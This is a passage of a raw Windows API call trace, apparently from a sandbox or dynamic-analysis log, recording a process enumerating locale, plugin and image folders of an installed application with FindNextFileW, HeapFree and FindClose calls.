lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0266.620] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.621] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0266.621] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.621] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0266.622] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.622] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0266.622] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.622] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0266.623] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.623] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0266.623] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.623] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0266.624] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.624] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0266.624] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.624] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0266.625] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.625] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0266.626] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.626] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0266.626] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.626] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0266.626] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.626] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0266.627] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.627] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0266.627] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.627] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0266.627] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.627] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0266.628] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.628] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0266.631] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.631] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0266.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.632] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0266.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.632] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0266.633] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.633] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0266.633] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.633] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0266.634] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.634] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0266.634] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.634] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0266.635] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.635] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0266.635] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.635] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0266.635] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.635] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0266.636] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.636] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0266.636] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.636] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.637] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.637] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0266.637] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.637] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0266.638] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.638] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0266.638] FindClose (in: hFindFile=0x6ebcf0 | out: hFindFile=0x6ebcf0) returned 1 [0266.638] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0266.638] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x399, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0266.639] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.639] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0 [0266.639] FindClose (in: hFindFile=0x6ebcf0 | out: hFindFile=0x6ebcf0) returned 1 [0266.639] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0266.639] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0 [0266.640] FindClose (in: hFindFile=0x6ebcb0 | out: hFindFile=0x6ebcb0) returned 1 [0266.640] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0266.640] FindNextFileW (in: hFindFile=0x649fd8, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0266.640] FindClose (in: hFindFile=0x649fd8 | out: hFindFile=0x649fd8) returned 1 [0266.640] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0266.642] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="createpdfupsell-app", cAlternateFileName="CREATE~1")) returned 1 [0266.643] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0266.643] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0266.952] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0266.952] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0266.952] FindClose (in: hFindFile=0x6eb8b0 | out: 